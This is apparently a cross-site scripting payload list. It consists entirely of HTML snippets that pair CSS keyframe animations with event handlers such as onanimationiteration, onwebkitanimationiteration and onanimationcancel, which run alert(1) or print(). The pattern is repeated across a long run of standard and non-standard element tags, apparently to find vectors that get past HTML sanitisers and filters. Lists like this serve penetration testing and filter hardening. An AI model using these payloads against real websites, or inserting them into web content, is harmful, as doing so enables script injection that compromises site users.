<style>@keyframes slidein {}</style><section style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></section>
<style>@keyframes slidein {}</style><section style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></section>
<style>@keyframes slidein {}</style><select style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></select>
<style>@keyframes slidein {}</style><select style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></select>
<style>@keyframes slidein {}</style><set style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></set>
<style>@keyframes slidein {}</style><set style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></set>
<style>@keyframes slidein {}</style><shadow style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></shadow>
<style>@keyframes slidein {}</style><shadow style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></shadow>
<style>@keyframes slidein {}</style><slot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></slot>
<style>@keyframes slidein {}</style><slot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></slot>
<style>@keyframes slidein {}</style><small style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></small>
<style>@keyframes slidein {}</style><small style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></small>
<style>@keyframes slidein {}</style><source style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></source>
<style>@keyframes slidein {}</style><source style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></source>
<style>@keyframes slidein {}</style><spacer style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></spacer>
<style>@keyframes slidein {}</style><spacer style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></spacer>
<style>@keyframes slidein {}</style><span style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></span>
<style>@keyframes slidein {}</style><span style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></span>
<style>@keyframes slidein {}</style><strike style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></strike>
<style>@keyframes slidein {}</style><strike style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></strike>
<style>@keyframes slidein {}</style><strong style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></strong>
<style>@keyframes slidein {}</style><strong style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></strong>
<style>@keyframes slidein {}</style><style style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></style>
<style>@keyframes slidein {}</style><style style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></style>
<style>@keyframes slidein {}</style><sub style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></sub>
<style>@keyframes slidein {}</style><sub style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></sub>
<style>@keyframes slidein {}</style><summary style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></summary>
<style>@keyframes slidein {}</style><summary style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></summary>
<style>@keyframes slidein {}</style><sup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></sup>
<style>@keyframes slidein {}</style><sup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></sup>
<style>@keyframes slidein {}</style><svg style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></svg>
<style>@keyframes slidein {}</style><svg style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></svg>
<style>@keyframes slidein {}</style><table style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></table>
<style>@keyframes slidein {}</style><table style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></table>
<style>@keyframes slidein {}</style><tbody style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tbody>
<style>@keyframes slidein {}</style><tbody style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></tbody>
<style>@keyframes slidein {}</style><td style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></td>
<style>@keyframes slidein {}</style><td style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></td>
<style>@keyframes slidein {}</style><template style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></template>
<style>@keyframes slidein {}</style><template style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></template>
<style>@keyframes slidein {}</style><textarea style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></textarea>
<style>@keyframes slidein {}</style><textarea style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></textarea>
<style>@keyframes slidein {}</style><tfoot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tfoot>
<style>@keyframes slidein {}</style><tfoot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></tfoot>
<style>@keyframes slidein {}</style><th style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></th>
<style>@keyframes slidein {}</style><th style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></th>
<style>@keyframes slidein {}</style><thead style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></thead>
<style>@keyframes slidein {}</style><thead style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></thead>
<style>@keyframes slidein {}</style><time style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></time>
<style>@keyframes slidein {}</style><time style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></time>
<style>@keyframes slidein {}</style><title style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></title>
<style>@keyframes slidein {}</style><title style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></title>
<style>@keyframes slidein {}</style><tr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tr>
<style>@keyframes slidein {}</style><tr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></tr>
<style>@keyframes slidein {}</style><track style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></track>
<style>@keyframes slidein {}</style><track style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></track>
<style>@keyframes slidein {}</style><tt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tt>
<style>@keyframes slidein {}</style><tt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></tt>
<style>@keyframes slidein {}</style><u style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></u>
<style>@keyframes slidein {}</style><u style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></u>
<style>@keyframes slidein {}</style><ul style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ul>
<style>@keyframes slidein {}</style><ul style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></ul>
<style>@keyframes slidein {}</style><var style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></var>
<style>@keyframes slidein {}</style><var style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></var>
<style>@keyframes slidein {}</style><video style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></video>
<style>@keyframes slidein {}</style><video style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></video>
<style>@keyframes slidein {}</style><video2 style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></video2>
<style>@keyframes slidein {}</style><video2 style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></video2>
<style>@keyframes slidein {}</style><wbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></wbr>
<style>@keyframes slidein {}</style><wbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></wbr>
<style>@keyframes slidein {}</style><xmp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xmp>
<style>@keyframes slidein {}</style><xmp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></xmp>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="print()"></a>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a2 id=x style="position:absolute;" onanimationcancel="print()"></a2>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><abbr id=x style="position:absolute;" onanimationcancel="print()"></abbr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><acronym id=x style="position:absolute;" onanimationcancel="print()"></acronym>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><address id=x style="position:absolute;" onanimationcancel="print()"></address>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><animate id=x style="position:absolute;" onanimationcancel="print()"></animate>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><animatemotion id=x style="position:absolute;" onanimationcancel="print()"></animatemotion>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><animatetransform id=x style="position:absolute;" onanimationcancel="print()"></animatetransform>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><applet id=x style="position:absolute;" onanimationcancel="print()"></applet>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><area id=x style="position:absolute;" onanimationcancel="print()"></area>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><article id=x style="position:absolute;" onanimationcancel="print()"></article>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><aside id=x style="position:absolute;" onanimationcancel="print()"></aside>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><audio id=x style="position:absolute;" onanimationcancel="print()"></audio>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><audio2 id=x style="position:absolute;" onanimationcancel="print()"></audio2>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><b id=x style="position:absolute;" onanimationcancel="print()"></b>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdi id=x style="position:absolute;" onanimationcancel="print()"></bdi>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdo id=x style="position:absolute;" onanimationcancel="print()"></bdo>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><big id=x style="position:absolute;" onanimationcancel="print()"></big>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blink id=x style="position:absolute;" onanimationcancel="print()"></blink>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blockquote id=x style="position:absolute;" onanimationcancel="print()"></blockquote>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><body id=x style="position:absolute;" onanimationcancel="print()"></body>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><br id=x style="position:absolute;" onanimationcancel="print()"></br>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><button id=x style="position:absolute;" onanimationcancel="print()"></button>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><canvas id=x style="position:absolute;" onanimationcancel="print()"></canvas>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><caption id=x style="position:absolute;" onanimationcancel="print()"></caption>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><center id=x style="position:absolute;" onanimationcancel="print()"></center>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><cite id=x style="position:absolute;" onanimationcancel="print()"></cite>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><code id=x style="position:absolute;" onanimationcancel="print()"></code>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><col id=x style="position:absolute;" onanimationcancel="print()"></col>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><colgroup id=x style="position:absolute;" onanimationcancel="print()"></colgroup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><command id=x style="position:absolute;" onanimationcancel="print()"></command>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><content id=x style="position:absolute;" onanimationcancel="print()"></content>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><custom tags id=x style="position:absolute;" onanimationcancel="print()"></custom tags>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><data id=x style="position:absolute;" onanimationcancel="print()"></data>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><datalist id=x style="position:absolute;" onanimationcancel="print()"></datalist>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dd id=x style="position:absolute;" onanimationcancel="print()"></dd>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><del id=x style="position:absolute;" onanimationcancel="print()"></del>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><details id=x style="position:absolute;" onanimationcancel="print()"></details>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dfn id=x style="position:absolute;" onanimationcancel="print()"></dfn>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dialog id=x style="position:absolute;" onanimationcancel="print()"></dialog>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dir id=x style="position:absolute;" onanimationcancel="print()"></dir>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><div id=x style="position:absolute;" onanimationcancel="print()"></div>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dl id=x style="position:absolute;" onanimationcancel="print()"></dl>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dt id=x style="position:absolute;" onanimationcancel="print()"></dt>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><element id=x style="position:absolute;" onanimationcancel="print()"></element>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><em id=x style="position:absolute;" onanimationcancel="print()"></em>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><embed id=x style="position:absolute;" onanimationcancel="print()"></embed>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><fieldset id=x style="position:absolute;" onanimationcancel="print()"></fieldset>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figcaption id=x style="position:absolute;" onanimationcancel="print()"></figcaption>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figure id=x style="position:absolute;" onanimationcancel="print()"></figure>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><font id=x style="position:absolute;" onanimationcancel="print()"></font>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><footer id=x style="position:absolute;" onanimationcancel="print()"></footer>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><form id=x style="position:absolute;" onanimationcancel="print()"></form>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frame id=x style="position:absolute;" onanimationcancel="print()"></frame>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frameset id=x style="position:absolute;" onanimationcancel="print()"></frameset>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><h1 id=x style="position:absolute;" onanimationcancel="print()"></h1>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><head id=x style="position:absolute;" onanimationcancel="print()"></head>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><header id=x style="position:absolute;" onanimationcancel="print()"></header>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hgroup id=x style="position:absolute;" onanimationcancel="print()"></hgroup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hr id=x style="position:absolute;" onanimationcancel="print()"></hr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><html id=x style="position:absolute;" onanimationcancel="print()"></html>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><i id=x style="position:absolute;" onanimationcancel="print()"></i>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><iframe id=x style="position:absolute;" onanimationcancel="print()"></iframe>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><iframe2 id=x style="position:absolute;" onanimationcancel="print()"></iframe2>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><image id=x style="position:absolute;" onanimationcancel="print()"></image>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><image2 id=x style="position:absolute;" onanimationcancel="print()"></image2>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><image3 id=x style="position:absolute;" onanimationcancel="print()"></image3>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><img id=x style="position:absolute;" onanimationcancel="print()"></img>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><img2 id=x style="position:absolute;" onanimationcancel="print()"></img2>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><input id=x style="position:absolute;" onanimationcancel="print()"></input>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><input2 id=x style="position:absolute;" onanimationcancel="print()"></input2>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><input3 id=x style="position:absolute;" onanimationcancel="print()"></input3>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><input4 id=x style="position:absolute;" onanimationcancel="print()"></input4>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ins id=x style="position:absolute;" onanimationcancel="print()"></ins>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><kbd id=x style="position:absolute;" onanimationcancel="print()"></kbd>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><keygen id=x style="position:absolute;" onanimationcancel="print()"></keygen>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><label id=x style="position:absolute;" onanimationcancel="print()"></label>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><legend id=x style="position:absolute;" onanimationcancel="print()"></legend>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><li id=x style="position:absolute;" onanimationcancel="print()"></li>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><link id=x style="position:absolute;" onanimationcancel="print()"></link>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><listing id=x style="position:absolute;" onanimationcancel="print()"></listing>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><main id=x style="position:absolute;" onanimationcancel="print()"></main>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><map id=x style="position:absolute;" onanimationcancel="print()"></map>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><mark id=x style="position:absolute;" onanimationcancel="print()"></mark>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><marquee id=x style="position:absolute;" onanimationcancel="print()"></marquee>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menu id=x style="position:absolute;" onanimationcancel="print()"></menu>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menuitem id=x style="position:absolute;" onanimationcancel="print()"></menuitem>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meta id=x style="position:absolute;" onanimationcancel="print()"></meta>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meter id=x style="position:absolute;" onanimationcancel="print()"></meter>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><multicol id=x style="position:absolute;" onanimationcancel="print()"></multicol>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nav id=x style="position:absolute;" onanimationcancel="print()"></nav>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nextid id=x style="position:absolute;" onanimationcancel="print()"></nextid>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nobr id=x style="position:absolute;" onanimationcancel="print()"></nobr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noembed id=x style="position:absolute;" onanimationcancel="print()"></noembed>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noframes id=x style="position:absolute;" onanimationcancel="print()"></noframes>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noscript id=x style="position:absolute;" onanimationcancel="print()"></noscript>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><object id=x style="position:absolute;" onanimationcancel="print()"></object>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ol id=x style="position:absolute;" onanimationcancel="print()"></ol>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><optgroup id=x style="position:absolute;" onanimationcancel="print()"></optgroup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><option id=x style="position:absolute;" onanimationcancel="print()"></option>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><output id=x style="position:absolute;" onanimationcancel="print()"></output>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><p id=x style="position:absolute;" onanimationcancel="print()"></p>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><param id=x style="position:absolute;" onanimationcancel="print()"></param>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><picture id=x style="position:absolute;" onanimationcancel="print()"></picture>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><plaintext id=x style="position:absolute;" onanimationcancel="print()"></plaintext>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><pre id=x style="position:absolute;" onanimationcancel="print()"></pre>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><progress id=x style="position:absolute;" onanimationcancel="print()"></progress>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><q id=x style="position:absolute;" onanimationcancel="print()"></q>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rb id=x style="position:absolute;" onanimationcancel="print()"></rb>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rp id=x style="position:absolute;" onanimationcancel="print()"></rp>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rt id=x style="position:absolute;" onanimationcancel="print()"></rt>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rtc id=x style="position:absolute;" onanimationcancel="print()"></rtc>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ruby id=x style="position:absolute;" onanimationcancel="print()"></ruby>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><s id=x style="position:absolute;" onanimationcancel="print()"></s>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><samp id=x style="position:absolute;" onanimationcancel="print()"></samp>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><script id=x style="position:absolute;" onanimationcancel="print()"></script>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><section id=x style="position:absolute;" onanimationcancel="print()"></section>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><select id=x style="position:absolute;" onanimationcancel="print()"></select>
